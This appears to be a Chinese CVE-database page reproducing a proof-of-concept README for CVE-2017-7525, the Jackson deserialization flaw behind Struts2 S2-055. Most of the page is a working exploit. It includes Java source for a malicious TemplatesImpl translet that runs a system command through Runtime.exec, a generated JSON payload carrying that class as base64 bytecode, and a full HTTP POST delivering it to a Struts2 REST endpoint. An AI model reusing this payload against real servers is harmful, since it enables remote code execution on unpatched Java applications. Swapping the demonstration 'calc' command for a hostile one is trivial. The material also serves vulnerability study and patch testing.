关联漏洞
标题：
FasterXML Jackson 代码问题漏洞
(CVE-2017-7525)
描述：FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具。jackson-databind是其中的一个具有数据绑定功能的组件。 FasterXML jackson-databind 2.6.7.1之前版本、2.7.9.1版本和2.8.9版本中存在代码问题漏洞。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题。
描述
CVE-2017-7525 S2-055 Exploit
介绍
# S2-055 反序列化漏洞Exploit CVE-2017-7525
利用过程
javac ExploitCommand.java
```
package exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
public class ExploitCommand extends AbstractTranslet {
public ExploitCommand() throws Exception {
try {
BufferedReader br = null;
// ExploitCommand
Process p = Runtime.getRuntime().exec("calc");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb.toString());
}
System.out.println("\n[*] Payload Fuck Tomcat!!!!");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
ExploitCommand exp = new ExploitCommand();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
```
java -jar Jackson-S2-055-Exploit.jar ExploitCommand.class clientName
```
root@secfree> java -jar Jackson-S2-055-Exploit.jar ExploitCommand.class clientName
[*] www.secfree.com By Bearcat
[*] Jackson S2-055 Exploit
[+] Payload:
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADMAXwoAFwAtCgAuAC8IADAKAC4AMQcAMgcAMwoANAA1CgAGADYKAAUANwcAOAoACgAtCgAFADkKAAoAOggAOwoACgA8CQA9AD4KAD8AQAgAQQcAQgoAEwBDBwBECgAVAC0HAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcARAcAMgcARgcARwcAOAcAQgEACkV4Y2VwdGlvbnMHAEgBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQATRXhwbG9pdENvbW1hbmQuamF2YQwAGAAZBwBKDABLAEwBAARjYWxjDABNAE4BABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcARgwATwBQDAAYAFEMABgAUgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABTAFQMAFUAVgEAAQoMAFcAVAcAWAwAWQBaBwBbDABcAF0BABwKWypdIFBheWxvYWQgRnVjayBUb21jYXQhISEhAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAXgAZAQAWZXhwbG9pdC9FeHBsb2l0Q29tbWFuZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABFqYXZhL2xhbmcvUHJvY2VzcwEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAFQAXAAAAAAAEAAEAGAAZAAIAGgAAAO8ABQAFAAAAbiq3AAEBTLgAAhIDtgAETbsABVm7AAZZLLYAB7cACLcACUwBTrsAClm3AAs6BCu2AAxZTsYAKhkEuwAKWbcACy22AA0SDrYADbYAD7YADVeyABAZBLYAD7YAEaf/07IAEBIStgARpwAITCu2ABSxAAEABABlAGgAEwACABsAAAA6AA4AAAANAAQAEAAGABIADwATACIAFQAkABYALQAXADYAGABPABkAXQAbAGUAHgBoABwAaQAdAG0AHwAcAAAAJwAE/wAtAAUHAB0HAB4HAB8HACAHACEAAC//AAoAAQcAHQABBwAiBAAjAAAABAABACQACQAlACYAAgAaAAAAJQACAAIAAAAJuwAVWbcAFkyxAAAAAQAbAAAACgACAAAAIgAIACMAIwAAAAQAAQAkAAEAJwAoAAIAGgAAABkAAAADAAAAAbEAAAABABsAAAAGAAEAAAAoACMAAAAEAAEAKQABACcAKgACABoAAAAZAAAABAAAAAGxAAAAAQAbAAAABgABAAAALgAjAAAABAABACkAAQArAAAAAgAs"],"transletName":"p","outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}]}
```
发送Paylaod
```
POST http://192.168.199.130:8887/struts2-rest-showcase/orders HTTP/1.1
Host: 192.168.199.130:8887
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=ED7D0B24093F642D6FBBCD81B1878721
If-None-Match: 1
Content-Length: 2680
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADMAXwoAFwAtCgAuAC8IADAKAC4AMQcAMgcAMwoANAA1CgAGADYKAAUANwcAOAoACgAtCgAFADkKAAoAOggAOwoACgA8CQA9AD4KAD8AQAgAQQcAQgoAEwBDBwBECgAVAC0HAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcARAcAMgcARgcARwcAOAcAQgEACkV4Y2VwdGlvbnMHAEgBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQATRXhwbG9pdENvbW1hbmQuamF2YQwAGAAZBwBKDABLAEwBAARjYWxjDABNAE4BABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcARgwATwBQDAAYAFEMABgAUgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABTAFQMAFUAVgEAAQoMAFcAVAcAWAwAWQBaBwBbDABcAF0BABwKWypdIFBheWxvYWQgRnVjayBUb21jYXQhISEhAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAXgAZAQAWZXhwbG9pdC9FeHBsb2l0Q29tbWFuZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABFqYXZhL2xhbmcvUHJvY2VzcwEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAFQAXAAAAAAAEAAEAGAAZAAIAGgAAAO8ABQAFAAAAbiq3AAEBTLgAAhIDtgAETbsABVm7AAZZLLYAB7cACLcACUwBTrsAClm3AAs6BCu2AAxZTsYAKhkEuwAKWbcACy22AA0SDrYADbYAD7YADVeyABAZBLYAD7YAEaf/07IAEBIStgARpwAITCu2ABSxAAEABABlAGgAEwACABsAAAA6AA4AAAANAAQAEAAGABIADwATACIAFQAkABYALQAXADYAGABPABkAXQAbAGUAHgBoABwAaQAdAG0AHwAcAAAAJwAE/wAtAAUHAB0HAB4HAB8HACAHACEAAC//AAoAAQcAHQABBwAiBAAjAAAABAABACQACQAlACYAAgAaAAAAJQACAAIAAAAJuwAVWbcAFkyxAAAAAQAbAAAACgACAAAAIgAIACMAIwAAAAQAAQAkAAEAJwAoAAIAGgAAABkAAAADAAAAAbEAAAABABsAAAAGAAEAAAAoACMAAAAEAAEAKQABACcAKgACABoAAAAZAAAABAAAAAGxAAAAAQAbAAAABgABAAAALgAjAAAABAABACkAAQArAAAAAgAs"],"transletName":"p","outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}]}
```
利用成功
文件快照
[4.0K] /data/pocs/7e5e61bc8ccbe23b47133bab7a7ae8d808af534a
├── [1.3K] ExploitCommand.java
├── [7.4M] exploit.gif
├── [1.5M] Jackson-S2-055-Exploit.jar
├── [7.5K] README.md
└── [8.4M] struts2-rest-showcase.war
0 directories, 5 files
备注
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